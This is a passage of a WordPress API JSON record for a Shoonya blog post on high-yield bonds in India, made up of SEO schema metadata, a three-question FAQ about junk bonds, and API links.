Bonds\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/high-yield-bonds\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Bonds\",\"item\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/bonds\\\/\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"High-Yield Bonds in India: Meaning, Benefits, and Risks\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#website\",\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/\",\"name\":\"\",\"description\":\"Shoonya Blogs | Explore Shoonya\u2019s expert blogs on IPOs, market news, mutual funds, stocks, company stories, banking, and trading. Stay informed, invest smarter!\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#\\\/schema\\\/person\\\/f136efa6e9f6500d1b76595131564b8a\",\"name\":\"admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g\",\"caption\":\"admin\"}},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/high-yield-bonds\\\/#faq-question-1695978331147\",\"position\":1,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/high-yield-bonds\\\/#faq-question-1695978331147\",\"name\":\"What distinguishes high-yield bonds from investment-grade bonds?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"High-yield bonds, or junk bonds, offer higher coupon rates but come with lower credit ratings than investment-grade bonds. They are riskier investments due to an increased likelihood of default.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/high-yield-bonds\\\/#faq-question-1695978354716\",\"position\":2,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/high-yield-bonds\\\/#faq-question-1695978354716\",\"name\":\"How can investors access high-yield bonds in India?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Investors can access high-yield bonds through direct purchase from broker-dealers, high-yield bond mutual funds, or high-yield bond ETFs available on stock exchanges.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/high-yield-bonds\\\/#faq-question-1695978369761\",\"position\":3,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/high-yield-bonds\\\/#faq-question-1695978369761\",\"name\":\"What role does bond duration play in high-yield bonds?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"High-yield bonds typically have shorter durations, reducing their sensitivity to changes in market interest rates and offering more consistent yields.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Unlocking the Potential of High-Yield Bonds in India","description":"Discover high-yield bonds in India, including how to invest, their advantages, and potential risks. Explore high-yield bond ETFs and trading strategies.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/shoonya.com\/blog\/high-yield-bonds\/","og_locale":"en_US","og_type":"article","og_title":"Unlocking the Potential of High-Yield Bonds in India","og_description":"Discover high-yield bonds in India, including how to invest, their advantages, and potential risks. Explore high-yield bond ETFs and trading strategies.","og_url":"https:\/\/shoonya.com\/blog\/high-yield-bonds\/","article_publisher":"https:\/\/www.facebook.com\/ShoonyaApp\/","article_published_time":"2023-02-15T04:57:45+00:00","article_modified_time":"2023-09-29T09:36:50+00:00","og_image":[{"width":1920,"height":1080,"url":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2023\/02\/How-to-Invest-in-High-Yield-Bonds.png","type":"image\/png"}],"author":"admin","twitter_card":"summary_large_image","twitter_creator":"@shoonyaapp","twitter_site":"@shoonyaapp","twitter_misc":{"Written by":"admin","Est. reading time":"5 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/shoonya.com\/blog\/high-yield-bonds\/#article","isPartOf":{"@id":"https:\/\/shoonya.com\/blog\/high-yield-bonds\/"},"author":{"name":"admin","@id":"https:\/\/shoonya.com\/blog\/#\/schema\/person\/f136efa6e9f6500d1b76595131564b8a"},"headline":"High-Yield Bonds in India: Meaning, Benefits, and Risks","datePublished":"2023-02-15T04:57:45+00:00","dateModified":"2023-09-29T09:36:50+00:00","mainEntityOfPage":{"@id":"https:\/\/shoonya.com\/blog\/high-yield-bonds\/"},"wordCount":1046,"image":{"@id":"https:\/\/shoonya.com\/blog\/high-yield-bonds\/#primaryimage"},"thumbnailUrl":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2023\/02\/How-to-Invest-in-High-Yield-Bonds.png","keywords":["Different types of High-Yield Bonds","High-Yield Bonds","invest in High-Yield Bonds"],"articleSection":["Bonds"],"inLanguage":"en-US"},{"@type":["WebPage","FAQPage"],"@id":"https:\/\/shoonya.com\/blog\/high-yield-bonds\/","url":"https:\/\/shoonya.com\/blog\/high-yield-bonds\/","name":"Unlocking the Potential of High-Yield Bonds in India","isPartOf":{"@id":"https:\/\/shoonya.com\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/shoonya.com\/blog\/high-yield-bonds\/#primaryimage"},"image":{"@id":"https:\/\/shoonya.com\/blog\/high-yield-bonds\/#primaryimage"},"thumbnailUrl":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2023\/02\/How-to-Invest-in-High-Yield-Bonds.png","datePublished":"2023-02-15T04:57:45+00:00","dateModified":"2023-09-29T09:36:50+00:00","author":{"@id":"https:\/\/shoonya.com\/blog\/#\/schema\/person\/f136efa6e9f6500d1b76595131564b8a"},"description":"Discover high-yield bonds in India, including how to invest, their advantages, and potential risks. Explore high-yield bond ETFs and trading strategies.","breadcrumb":{"@id":"https:\/\/shoonya.com\/blog\/high-yield-bonds\/#breadcrumb"},"mainEntity":[{"@id":"https:\/\/shoonya.com\/blog\/high-yield-bonds\/#faq-question-1695978331147"},{"@id":"https:\/\/shoonya.com\/blog\/high-yield-bonds\/#faq-question-1695978354716"},{"@id":"https:\/\/shoonya.com\/blog\/high-yield-bonds\/#faq-question-1695978369761"}],"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/shoonya.com\/blog\/high-yield-bonds\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/shoonya.com\/blog\/high-yield-bonds\/#primaryimage","url":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2023\/02\/How-to-Invest-in-High-Yield-Bonds.png","contentUrl":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2023\/02\/How-to-Invest-in-High-Yield-Bonds.png","width":1920,"height":1080,"caption":"Guide To High-Yield Bonds"},{"@type":"BreadcrumbList","@id":"https:\/\/shoonya.com\/blog\/high-yield-bonds\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/shoonya.com\/blog\/"},{"@type":"ListItem","position":2,"name":"Bonds","item":"https:\/\/shoonya.com\/blog\/bonds\/"},{"@type":"ListItem","position":3,"name":"High-Yield Bonds in India: Meaning, Benefits, and Risks"}]},{"@type":"WebSite","@id":"https:\/\/shoonya.com\/blog\/#website","url":"https:\/\/shoonya.com\/blog\/","name":"","description":"Shoonya Blogs | Explore Shoonya\u2019s expert blogs on IPOs, market news, mutual funds, stocks, company stories, banking, and trading. Stay informed, invest smarter!","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/shoonya.com\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/shoonya.com\/blog\/#\/schema\/person\/f136efa6e9f6500d1b76595131564b8a","name":"admin","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g","caption":"admin"}},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/high-yield-bonds\/#faq-question-1695978331147","position":1,"url":"https:\/\/shoonya.com\/blog\/high-yield-bonds\/#faq-question-1695978331147","name":"What distinguishes high-yield bonds from investment-grade bonds?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"High-yield bonds, or junk bonds, offer higher coupon rates but come with lower credit ratings than investment-grade bonds. They are riskier investments due to an increased likelihood of default.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/high-yield-bonds\/#faq-question-1695978354716","position":2,"url":"https:\/\/shoonya.com\/blog\/high-yield-bonds\/#faq-question-1695978354716","name":"How can investors access high-yield bonds in India?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"Investors can access high-yield bonds through direct purchase from broker-dealers, high-yield bond mutual funds, or high-yield bond ETFs available on stock exchanges.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/high-yield-bonds\/#faq-question-1695978369761","position":3,"url":"https:\/\/shoonya.com\/blog\/high-yield-bonds\/#faq-question-1695978369761","name":"What role does bond duration play in high-yield bonds?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"High-yield bonds typically have shorter durations, reducing their sensitivity to changes in market interest rates and offering more consistent yields.","inLanguage":"en-US"},"inLanguage":"en-US"}]}},"_links":{"self":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts\/3218","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/users\/16"}],"replies":[{"embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/comments?post=3218"}],"version-history":[{"count":4,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts\/3218\/revisions"}],"predecessor-version":[{"id":5210,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts\/3218\/revisions\/5210"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/media\/3251"}],"wp:attachment":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/media?parent=3218"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/categories?post=3218"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/tags?post=3218"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}